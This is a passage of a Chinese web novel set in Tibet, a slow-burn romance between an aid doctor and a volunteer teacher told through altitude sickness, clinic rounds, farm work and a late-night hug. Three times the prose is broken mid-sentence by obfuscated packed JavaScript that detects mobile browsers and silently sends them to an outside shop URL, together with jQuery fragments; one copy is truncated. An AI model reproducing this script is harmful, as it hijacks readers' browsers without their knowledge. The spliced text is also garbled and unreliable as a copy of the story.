此时医院躺着的许南珩睡着了,iPad压在他肚子上,修长漂亮的手指间无力地夹着一根Apple pencil,看上去是在iPad上写着东西的时候睡着的。 索朗措姆回来的时候已经是下午三点多,她和次仁老师一赶回来就来了医院。索朗措姆没有第一时间问许南珩在哪间病房,而是去找了方识攸,方识攸诊室门开着,里面就他一个人。 方识攸简单给索朗措姆讲了许南珩的情况,其实就是普通高反,他作为医生的建议是许南珩住院一晚,以防万一,他也让校长不必担心,顺便询问了卓嘎复查的情况。 两个人在诊室稍微聊了一小会儿,接着索朗措姆就要回学校去给学生们准备晚饭。 方识攸再进去病房的时候,看见的就是熟睡的许南珩。之前带着血常规单子进来的时候他还在iPad上写着什么,这才一个钟头过去,睡得那叫一个香。 他穿一件长袖T恤,可以清晰看见他胸口,两臂押着的棉被随呼吸起伏。青年酣睡着,窗外阳光慵懒微风徐徐,病房的窗帘像被风推着荡秋千。 片刻的宁静后,病房门被人从外面推开,方识攸回过头:“嗯?” 进来的人是杨郜,杨大夫也是援藏医生,不过杨大夫是从四川来的。 “你在这儿呢。”杨郜是正常音量说话,“山腰底下这几天开始挖隧道了,主任说这边小医院估计要忙起来,下周我和高医生留在这,你回县医院。” 高医生是本地医生,这个小医院从前是卫生所的时候就在这儿给村民看病。方识攸不假思索,说:“别,让高医生回县城,我跟你在这。” “啊?”杨郜疑惑,“确定?到时候可都是清创的缝合的,累够呛。” “没事。”方识攸说,“我留下,正好中山那边来了个神经外科的主任在县城做手术,让高医生跟着多看看。” 杨郜回忆了一下:“哦——对,也行,那就这么定了,哎你在这病房看谁呢。” 杨郜站的地儿是病房门口,也是病房的卫生间门那儿,有个转角,看不见病床,于是他探了个头。探头瞧见许南珩,他问:“这不是那老师吗,他怎么了?” “高反,带过来吸氧。” “嘶。”杨郜一眯眼,直觉告诉他这有点微妙,于是问,“你这,下周留在这儿,不会是为了顺带照看照看这位老师吧?” 方识攸平时院里的人际关系很简单,他走着医学生一条中规中矩的路,在院里跟着自己的老师。平时院里同事们的聚餐活动都坐在边缘位置,不出挑也没有太沉闷。 不过因为方识攸长得够帅,面部线条流畅,眼窝偏深,眼部轮廓偏狭长,瞳仁是较浅的琥珀色,显得有些凉薄。而他年纪也刚好,再多一年就30,年轻有为,自然说亲的也不少。 方识攸呢,无论来说的是谁,有一回主任想给他介绍,他都用着统一的说辞:太忙了,想事业为重。 杨郜早他一年进医院,就是知道他秉性如此,所以当初听说他在109国道上了陌生人的车才那么意外。 眼下,就更意外了。杨郜是胆囊外科的大夫,在北京的时候俩人在急诊配合过一次,他去帮方识攸的病人做腹腔镜,那时候认识的。 杨郜见他沉默,抬抬下巴,意在追问。 方识攸瞄了眼病床上的人没动静,回答说:“是啊,想照看着。” 杨郜默默深吸一口气,然后憋出一个诡异的笑容:“OK,你开心就好。” 杨郜过来找他就是为了说这个事儿,考虑到山下面挖隧道是一个大工程,隧道工程就难免有磕的摔的,甚至骨折,所以原本两周过来轮值的医生再多呆一个礼拜,保证医疗人员充沛。 这样一来,这周小医院就热闹多了,当地医生和援藏的医生,还有半个护理组。 方识攸走到病床边看了他一眼,其实方识攸不知道他醒没醒,毕竟这老师睡眠质量他见识过。然而……眼皮下眼球动了动,又动了动。虽说人在熟睡的时候眼球运动是正常,但方识攸却感觉……只是感觉,没有依据,他感觉许南珩醒了。 果然,许南珩睁眼了。 不过他睁眼的方式比较可爱,先睁开右眼,偷瞄,准备暗中观察,结果一眼就看见悠闲立于床侧的方识攸。 许老师嘻嘻一笑,两只眼睛都睁开了:“劳你费心了方大夫。” ——接纳了另一个人后,许南珩会非常真诚。 这是他的优点之一,当他接纳了另一个人之后,他会很真诚。他本来就不是扭捏的人,所以跳过了方识攸的试探,也跳过自己的‘要不要假装什么都没听见’。 “还好。”方识攸说,“顺带的事儿。” 许南珩想坐起来,但碍于氧气管,于是说:“把我氧气管拔了吧。” 此话一出,二人对视了一瞬,然后同时“噗”地笑起来。这句话实在太地狱了。 方识攸说:“就给你吸两个小时,中间看你睡着了就没动你,早停了。” “噢。”许南珩点头。 方识攸走过来帮他摘掉管线,然后听诊器戴上:“坐直我听一下。” 许南珩挺直上半身。 方识攸和对待所有病患一样,听诊头按在对方的胸腔。只是许南珩坐直后,微妙的和方识攸几乎是面贴面的距离,这是个巧合,因为方识攸本来就站在床侧,他也只是坐直起来。 又碍于听诊器它本身的长度,方识攸需要弓腰,俯身下来后,许南珩能闻见他身上的消毒水味道。 许南珩样貌清俊,有着恰到好处的双眼皮,他面向没动,眼睛不动声色地看向方识攸,纤密的睫毛微微颤动,然后立刻看向别处。 因为方识攸的听诊器从他后背挪到了胸前,说:“心慌吗?听着挺快的。” “稍微……”许南珩抿唇。 其实不是,刚才还好好的,方识攸低身下来靠近之后才跳得猛了。 方识攸微微蹙眉:“晚上还是住院吧,观察一晚。” “啊?”许南珩连忙拒绝,“不成,我晚上看晚自习。” 方识攸表情没动,略凶:“虽然我说了不用害怕,但你不能一点不当回事,你这次高反多半是因为频繁地爬楼梯,按理说你在高原地界走平地都应该慢慢走,甚至不要洗澡,你还回去爬上爬下?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727271|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……”许南珩眨巴两下眼睛,“看完晚自习,我再回来。” “可以。”方识攸挪开视线。 晚上许南珩回来医院,没睡病房,睡的是方识攸的休息室,方识攸在外面值班。 他在休息室里又看见了那条哆啦A梦珊瑚绒毯子,更加笃定方识攸是走哪儿带哪儿。那条毛毯呈竖条状摆在床的里侧,靠墙。许南珩睡下后发现,这样刚好侧躺的时候,手可以搓着毯子。挺助眠的。 他原想在医院里用淋浴洗个澡,他这些日子都是用盆浇着洗澡,十分想念淋浴,但方识攸不准,因为高反的人洗澡会晕。 许南珩住院,这事儿在学校里所有人都悬着心。 尤其学生,同学们已经将这位北京来的支教老师盖棺定论为“身娇体弱的城里人”。好处是,以周洋为首的那群臭小子老实了;坏消息是,原本教室里卓嘎是身体素质的底线,现在……大家觉得许南珩跟卓嘎差不多了。 体现周五最后晚自习的时候,洛桑拉姆上讲台来问题目,许南珩喝水的时候不慎呛了一下,咳嗽起来,给拉姆吓得咻地站直起来,达桑曲珍差点轻车熟路跑去医院叫人。 然后到了周六。 按照最开始的排班,这周六由达娃老师和次仁老师为学生补课,上语文英语和史政。 而那位‘身娇体弱的城里人’……周六出发去村后的牛棚之前,索朗校长叫住了他,说:“许老师,你身体好些了吗?要不,你今天留在厨房刷锅洗碗吧。” 许南珩实在受不了了。 他紧紧攥着手里的铁锹:“索朗老师,我真的没那么弱,我可以去的我完全可以的,我这次只是意外高反了那么一下。” 虽然被背着去医院,显得命不久矣。 无论如何,这周六帮忙补课学生做农活的人,依然是许南珩,以及布珍老师。两个人扛着锹去了村后,去打理牛棚。 布珍老师说他念大学的时候去过北京,和他闲聊了几句,说在北京喝了豆汁,至今未能忘记那个味道。 许南珩哭笑不得:“我也不爱喝那个。” 布珍老师很诧异:“是吗!我以为每个北京人都喜欢喝豆汁!” 许南珩摇摇头:“我连那味儿都闻不了。” “哈哈哈哈哈哈……”布珍老师笑起来,“哎,你过来这边,会觉得落差很大吧,毕竟是首都来的。” 许南珩继续摇头:“还好,我在北京其实不太爱出门,大城市元素在我这儿就是24小时外卖,随时有热水,以及流畅的网速。” 布珍老师听着又笑:“你还挺……怎么说呢,让我感觉不太一样,就是,跟我理解里的大城市的人。” “是吗。”许南珩挠挠头。已经走到牛棚了,闻见了浓烈的牲畜味道,许南珩抿了抿唇,将手里的锹握得更紧。 “哎?”布珍老师跨过地上的杂物,说,“方医生也在这?” 许南珩歪头,看过去。 看见方识攸穿着白大褂,和一个护士并排站。听见布珍老师叫他,方识攸回过头,也看见了许南珩。 许南珩这贫嘴,一半惊讶一半夸张地脱口而出:“哇,牛病了你也能看啊!太厉害了吧!方兽医!” 方识攸凝视了他片刻,然后平移挪开一步,他背后是被他挡着的,一位坐在凳子上的老人家。 方识攸介绍道:“看的是这位,达桑曲珍的爷爷。” 许南珩:“不……不好意思。” 19. 第 19 章 许南珩真的感谢祖国这幅员辽阔的领土,三千多公里外的藏族老爷子他听不懂汉语,否则许南珩这会儿真能把裤腰带解下来,挂在牛棚梁上悬梁自尽。 “真的……不好意思。”许南珩双眼无神,想死的心已经召唤了五十万朵百万吨乌云,等会儿下的雨能淹过喜马拉雅山。 方识攸旁边的护士掩着嘴笑,方识攸也只是轻笑了笑,俩手揣在白大褂兜里,说:“没事儿,听不懂。” “……啊。”许南珩机械地点点头。 “行,我们就先走了。”方识攸说,“去下一家了。” 许南珩点头“嗯”了声。 接着方识攸朝牛棚背面的方向喊了句:“周洋!” 牛棚背面的小伙中气十足地应了声,然后利索地从一大捆粮草上蹦过来。方识攸在他后背拍了下:“劳驾你,把曲珍她爷爷背回家去,谢啦。” “哎呀方医生您客气什么!”周洋笑吟吟地说。 许南珩发现这小子不上课的时候是真有活力,眼睛亮得跟他那盏台灯似的。 想到台灯,许南珩又看了眼方识攸。 方识攸向他挥挥手:“走了啊,你加油。” “好嘞。”许南珩扶着铁锹。 布珍老师说援藏的医生们定期会在医院辐射范围内走访村民,尤其接受过治疗的村民,医生们会了解一下他们恢复得如何。 许南珩想起那天晚上方识攸给他送水果,他们坐在1班廊下的对话。 在偏远地区,教育和医疗一样,需要人一点点地去渗透,身体力行地去改变人们的观念。他想起达瓦江措老师的父亲,老爷子拄着木棍也要出来看看青稞肥料和粮草,老爷子又何尝不知自己需要休息,学生们又何尝不知,考出去,就算看看外面大城市也是好的。 但就像达桑曲珍,父母外出务工,她若是考得远远的,又怎么能放心。 任重道远这个词,这回许南珩是真的理解了。 整个周六从早到晚,清理牛棚,把肥料背去田地,再折回村子里,因为天气预报有大雨,要将屋顶多铺一些防水布。 这一天下来,许南珩回学校里吃了两碗半的饭,他也算是知道了这儿的学生们一顿能吃两三碗的原因。 他今天实在不想用盆接水洗澡,吃完晚饭,给方识攸发了条微信,他说他想去医院洗澡。方识攸那儿来了个修隧道的,大腿被钢钉划了个大口子,他忙着缝合,没看手机。 许南珩到医院的时候方识攸刚缝好,从清创室出来,把乳胶手套扯下来丢进垃圾桶,偏头看见他拎了个包过来了。 “有哪儿不舒服吗?”方识攸问。 “浑身都不舒服。”许南珩讲话没劲儿,他见方识攸眼睛里是真的担心,又赶紧说,“噢不是那种,我就是想借淋浴洗个澡,可以吗。” 方识攸点头:“你去吧,休息室走廊转弯的那个卫生间。” 缝合的伤者疼得脸煞白,腿走不了,坐在床上推出来的。伤者是中年男人,苦着脸问他:“医生,请问一下,破伤风一定要打吗?那个钉子是新的,没生锈,也要打啊?这一针要好几百呢。” 方识攸知道他是觉得破伤风太贵,便直接说:“你这是可以报工伤的。” “我晓得。”男人带着些川渝口音,挤出个不太好意思的笑,“可是,月月报销,这个月的工伤下个月才报。” 这种情况方识攸在贫困地区碰到太多了,他只叹了口气,说:“我们这有不到一百的,条件允许的话还是打一针。” 破伤风疫苗是患者自愿接种,而在医生建议后拒绝接种的话,只要签一张告知书即可。方识攸也明白他们的难处,几百块,放在部分人眼里可能仅一顿饭钱。都说做医生的要凉薄些,共情能力不能太强,否则会把自己搞得很痛苦。 但站在这个位置上看着这么多,因一点钱而无可奈何的情况,又有几个人能真的心如磐石。工人大哥左右为难了好一会儿,才点头。他这一点头,方识攸才松了口气。 另一边,许南珩站在热水里淋着,久违的花洒,氤氲的淋浴间,实在让他感慨,人真是由奢入俭难。 他这个澡洗得比平时久,毕竟不好天天过来借浴室,加上白天干活,身上头发上脏兮兮,他洗了两三遍才出来。 “我差点以为你昏在里面了。”方识攸在诊室里收拾他办公桌上的东西,说完,抬眸看了眼许南珩。 许南珩洗好了,头发吹得蓬松,换了套干净的浅青色套头卫衣和亚麻长裤,整个人看着都轻盈了很多。 这么抬眸的一眼,方识攸差点忘了后面想说的话。 许南珩嘿嘿笑了声:“多洗了几遍,太脏了。” “喔……”方识攸重新低头,把笔记本电脑的电源线拔掉,然后想起来他要说什么了,“那个……对了你买的咖啡机到了,在县医院的门卫那儿。” “好啊。”许南珩说,“我明天去拿,正好礼拜天。” “你可能拿不了,快递写的我名字,门卫应该不会给你。”方识攸把电脑放进双肩包里,“我周一回去,周一跟我老师查房,我有个病人出院,然后周二再过来带给你。” 许南珩:“那也好。” 刚想添句麻烦你了,许南珩就站在诊室门口,后面有个人想进来,轻声说了句不好意思让让,许南珩赶紧侧个身,和杨郜四目相对。 大眼瞪小眼,很眼熟,许老师紧急在大脑里搜索他怎么称呼:“杨大夫!您好啊!” “嗳您好。”杨郜点头笑笑,“你来得正好,徐医生刚从县里过来,拎了一大包龙眼,你也装点回去。” 许南珩赶紧摆手:“不用不用,我那儿水果还挺多,别放坏了。” 方识攸收拾好了,把包放在办公桌内侧地上,说:“就在这吃点儿呗,不是刚洗过澡吗。” 被他这么一说其实许南珩有点心动了,他洗了太久,这会儿要是吃几颗冰凉的龙眼那可太舒服了。 杨郜拎着袋子进来,放在他办公桌上,看向许南珩:“许老师也是北京人吗?” “嗯。” “看着挺像南方人的欸。”杨郜闲聊着,“你家里都是北京人吗?” 方识攸抓了一把龙眼朝外走。 许南珩想了想:“啊……我姥姥是济南人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727272|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘿!”杨郜像是被我说中了吧,“南方的!” 许南珩不解:“啊?济南?” 方识攸走到许南珩身边,把龙眼放他手里,自己捏一颗,打趣道:“杨大夫的地理知识,贺兰山以南都是南。” 许南珩跟着开玩笑地捧哏:“嗬,天津也成南方城市了呗。” “哎你。”杨郜听这俩一唱一和,笑道,“你地理好,齐齐哈尔的病患你说成呼伦贝尔。” 方识攸抛了下手里唯一一颗龙眼,回头跟杨郜说:“谢了啊,我把许老师送回去。” “好嘞。”杨郜说。 说完纳闷,五分钟的路程还要送? 这点,许南珩也觉得,从医院到学校有什么好送的。出来后许南珩说:“你别送了呀,这才几步路。” “顺便抽根烟。”方识攸说得很自然。 许南珩把龙眼揣进口袋,今夜阴,看不见星星。 方大夫低头,手拢着火机点了根烟,然后火机朝许南珩递了递,意在询问他要不要。 许南珩顿了下,接过来了:“没带烟。” “利群抽吗?”方识攸拿着烟盒问。 “可以。”许南珩捏一根出来,拿过方大夫的火机点上。 “今天上午,太尴尬了。”许南珩说。他说的是在牛棚那儿大喊了声方兽医。 方识攸便笑:“还好,曲珍她爷爷就算听懂了也不会计较,老爷子是信徒,很虔诚。” 说到这个,许南珩停下了,他夹下烟,问:“藏传佛教吗?” “对。”方识攸点头,“很多藏民都是信徒,西藏是个有信仰的地方。” 许南珩重新咬上烟,看着他,没说话。 方识攸看向他眼里,“佛教认为生命是轮回的,而信徒们相信,我们在这个轮回萍水相逢,可能在其他的轮回里早已见过,所以藏民们会善待每个陌生人。” “我们在从前的、未来的轮回里,可能是朋友,也可能会是亲人。”方识攸接着说,“你知道这都是谁告诉我的吗。” 许南珩回过神,烟已经自顾自地烧了一截,他夹下来:“谁?” “你的学生,扎西卓嘎。”方识攸依然看着他,“她说她不害怕死亡,因为她相信在未来的轮回里,她还能遇见妈妈。” “我很喜欢这里,许老师。”方识攸换了个轻松的语气,和轻松的眼神,他继续抽一口烟,说,“西藏让我觉得,连生死都不是什么大事了。” 听他这么说,许南珩也放松了些:“挺好,你们做医生的确实该生死看淡,不然多难熬啊。” “嗯。”方识攸点头,“我也很高兴认识你。” 许南珩怔了下,夹着烟的手悬停在嘴边。其实有时候许南珩也能敏锐地嗅到一些他人的情绪,比如这个时候,他觉得方大夫……有点脆弱。甚至方大夫自己都没意识到他在暴露这些脆弱。 方大夫说了这么多生死轮回,加上他是个外科医生,许南珩隐约猜到了一些,可能他今天回忆起了一些创伤。 今夜是阴天,没有星星。 许南珩舔了舔唇,还是挤出一个笑容:“那拥抱一下?” 20. 第 20 章 方识攸从兜里拿出纸巾,把两根烟捏灭在里面,包起来揣回兜里。 然后方识攸先伸出手臂,他无比认真,并非许南珩想的那样,俩人抱一下拍拍后背就好。但方识攸很认真,他手臂绕过许南珩的腰和肩膀。但同时他很绅士,真的只是简单拥抱了一下。 许南珩背着书包,书包里是他洗澡换下来的衣服和他的洗发水沐浴露,他只感觉到方识攸的手掌在他书包上停留了片刻,二人便拉开了距离。 许南珩的拥抱方式也很简单,他抱住方识攸的后背像抱着棵树,实诚。 许南珩是刚洗过澡,身上有好闻的沐浴露味道,方识攸生忍住了没有像个变态一样嗅他。方识攸后退半步,礼貌地微笑,说:“回去早点睡,明天哪里酸痛的话,记得贴膏药。” 送到这里也就差不多了,后面走两步就是学校侧门。 许南珩点头道好。 “晚安了许老师。”方识攸说。 “嗯,方大夫晚安。” 许南珩转过身的时候,有一片阴云轻手轻脚地偷摸收拾下班,它后面摸鱼的晚星忽然没了遮挡,那星星跟灯泡似的,一紧张,电压忽高,骤亮。 它这么亮,许南珩就很合理地注意到它。 许南珩转过身的时候抬头看了看那颗星星,然后回头,笑起来,说:“方大夫,看,好亮的星星。” 他的发梢和卫衣的抽绳在晚星下晃了晃,方识攸实在没办法挪开视线去看那颗很亮的星星。 方识攸盯着他,很僵硬地“嗯”了一声。 周二那天,许南珩从网上买的咖啡机被方识攸带了过来。 咖啡机本体并不大,但许南珩为了一次性解决问题,咖啡胶囊买了不少,所以方识攸直接把皮卡开到校门口来了。 时间是下午四点十分,因为学校里只有两个班,都在一楼,他一眼望过去2班是空的。 方识攸心道不对劲啊,这位许老师听说大凉山补课了之后恨不得让学生中午也别休息了,最好一手端饭碗一手翻书看。 所以教室怎么空了呢。 他思索之际还是先折回皮卡边上,把装着咖啡机和胶囊的巨大纸箱子抱下来,上去教学楼二楼,放在许南珩宿舍门口的地上。 “嗯?”方识攸一楞。 他刚将箱子放下,纸箱落地的同时,许南珩这个宿舍的门“嘎吱——”打开了。他下意识以为许南珩在里面,可朝里一看,没人。 再一想,他了然,这宿舍房门前不久被周洋踹开过,想来门锁的锁芯被他踹断了。 方识攸握住门把推拉了两下,果然是锁芯断里面了,他没进去,只在门口蹲下看了看,看见门边靠里的墙上有个凳子,想来许南珩是晚上睡觉就用这凳子抵着门。 怎么说呢……看来许老师还挺没所谓的。 这时候方识攸听见后边操场有一阵欢呼声,他纳闷,难道今天许南珩不在学校,学生们自己溜出玩了? 他犹豫了下,还是决定去看一眼,别等许南珩回来再气高反了。 刚绕过教学楼,就看见2班的三十几个孩子全在操场。几个玩弹珠的,几个跑步的,几个玩双杠的。 视线继续扫向操场另一端,他找到了欢呼声的源头,是篮球场。也是同时,方识攸笑了起来——许老师啊,混在一群初三男生里和他们一起打球,倒不像他们老师,像他们高中部的学长。 当然,村庄这里没有高中部。 藏南高原日照强烈,许南珩戴鸭舌帽,一件棒球服敞怀,衣摆随他跑动跳跃而翻腾。他觉得许南珩有一种“完美适配”感,无论怎样的环境,他都轻松自在。 方识攸抬脚走过去,学校的篮球场没有围起来的铁网,刚走近,篮球径直飞向他面门,不晓得谁传的球,力道还不小。 做医生的多要强身健体,尤其手术有时候动辄五六个小时,方识攸在北京会健身打球,抬手接下这一球,顺势自然地掂了两下。 这球就是许南珩打过来的,原本想传给周洋,周洋没接到。 许南珩第一眼有些意外,紧接着他对这几个打球的说:“看,这才叫接球,你们一个个,我扔出去的是篮球,不是广东大蟑螂!” 球场上人笑作一片,许南珩把棒球服外套脱了,剩里面一件纯白T恤,朝方识攸走过来。 “我这传给谁啊?”方识攸问。 “随便。”许南珩拎着衣领子抖了抖,“扔个最近的。” 方识攸一眼看过去:“德吉!” “哎!”后者应声抬手,然后方识攸把球丢过去。 “你怎么过来了?”许南珩拎着外套往教学楼楼梯走,问完了反应过来,“噢咖啡机,你不会特意送过来的吧?你告诉我一声我去拿就行了呗,我先上楼喝口水。” “费那个劲,我车开校门口来了。”方识攸说,“给你搬上二楼了,哎你今天怎么大发慈悲带他们在操场玩儿?” 许南珩的注意力被转移,听到这话题,弯唇笑起来,说:“摸底考平均分比大凉山考得高,而且正好练练中考体育。” “恭喜啊,哎还有你那门,我看也坏了。” “周洋给踹的,我昏过去那天嘛。” 方识攸问,“你可以请索朗校长找个换锁的师傅。” “太费事儿了,我拿凳子抵着的,再说了这边这么荒凉……等会儿。” 许南珩说一半,忽然停在二楼楼梯转角,眼神不对,聚精会神地像在感受着什么。 “怎么了?”方识攸不解。 许南珩眯眼:“怎么一股格外香的油炸物的味道。” “应该是在炸土豆。”方识攸说,“藏族人炸的土豆特好吃,你今天有口福了,这么一袋炸土豆在拉萨卖十来块呢。” 方识攸比划了一下。 “走。”许南珩水也不喝了,抓起方识攸的手,“去看看。” 方识攸忽然被他抓住了手,脑袋空了一瞬,什么都没想,就跟他走了。 许南珩拉着他一路走到食堂,果然听见什么东西在油锅里翻滚的声音,他刚运动完,这油炸的动静对他来讲还得了。 “嗯?”许南珩原本只是在厨房窗外偷看,视线一扫,看见厨房里面还蹲着俩姑娘,一人捏着个炸土豆片在吃。 许南珩还没松手,拉着方识攸直接进去:“扎西卓嘎,达桑曲珍!” 炸土豆的索朗校长看见俩人闯进来先愣了下,然后笑起来:“完喽,你们俩被许老师发现了。” 厨房里蹲在索朗校长后边的俩姑娘就是她俩,索朗校长这边炸出来一盘,她俩就一人捏一片。 俩人看见许南珩,四只乌黑的眼睛同步眨了两下然后羞赧地笑笑。 许南珩义正辞严:“要想人不知,除非一起吃。” 他训孩子的时候松开了方识攸的手,方识攸这才跟索朗校长点头打了声招呼。 许南珩回过头,喊了声“索朗老师”,然后问:“这是今晚吃的吗?” 地上还有一大筐土豆,索朗措姆说:“对,先炸一遍,等开饭的时候再过一遍油,喏,你自己拿吧,吃好了就快走,别被其他同学发现了。” 许老师闻言立刻捏了灶台边盘子里一片土豆,然后蹲在扎西卓嘎旁边。 没有调料的炸土豆也很香,外酥内糯,许南珩尤其爱吃薯条,这里的土豆有十足的日照,淀粉含量高,经油炸后香酥可口。 许南珩咬到第二口的时候察觉不太对,扭头看这俩姑娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他不假思索地笑着说:“蓝色吧,你那个哆啦A梦的蓝。” 方识攸怔然而后一笑:“好。” 他把方识攸送到校门口,扭头往里看了眼,孩子们都还在后操场,于是伸手:“带烟了没。” “带了。”方识攸从兜里掏出烟盒和火机递给他。 许南珩接过来:“谢了,上根烟还是在你医院洗澡那天抽的。” “校园不抽烟?原则性这么强啊。”方识攸问,“学生不在学校也不抽吗?” 许南珩点上烟,深吸一口:“是啊,我这人虽然看起来不是很靠谱,实际上也懒散怠惰,但原则还是很坚固的。” “噗。”方识攸笑起来,“可别这么损自己,你已经很不错了。” 许南珩笑笑,大约是在校门外抽烟,还是稍微有点不安,他把帽檐又压了压。这个咬烟压帽檐的动作被方识攸尽收眼底,他喉结紧了下,然后上下滚动,强迫自己看向别处。 好几天没抽烟的许南珩每一口都吸的微微贪婪,以至于没发现德吉跑了过来。主要这小子黑瘦,个头也不高,旋风似的从后操场直勾勾跑来大门口。 德吉喊了声:“许老师!” 许南珩一惊,瞬间把夹着烟的手背去背后、一个侧步转身,面向德吉:“怎、怎么了?” 德吉:“老师,次仁老师让我来问问你,我们今天晚自习是上课还是考试。” “噢!这个……”许南珩背后夹烟的手指晃了晃,他希望方识攸能看懂,“随堂小考吧。” 方识攸看懂了,他上前半步,在德吉的视野盲区里将烟拿过来,夹在自己手里。德吉点头道:“好,方医生!今天的奶渣糕是我二舅做好送来的,非常好吃!” 许南珩的烟被拿走,大大方方地将手放到身侧。回过头,方识攸已经咬上了那根烟,点头回应德吉:“好,谢过你。” 那根烟被方识攸咬在齿间,飘着一缕白烟。 他跟德吉说完话,眼睛一直看着许南珩。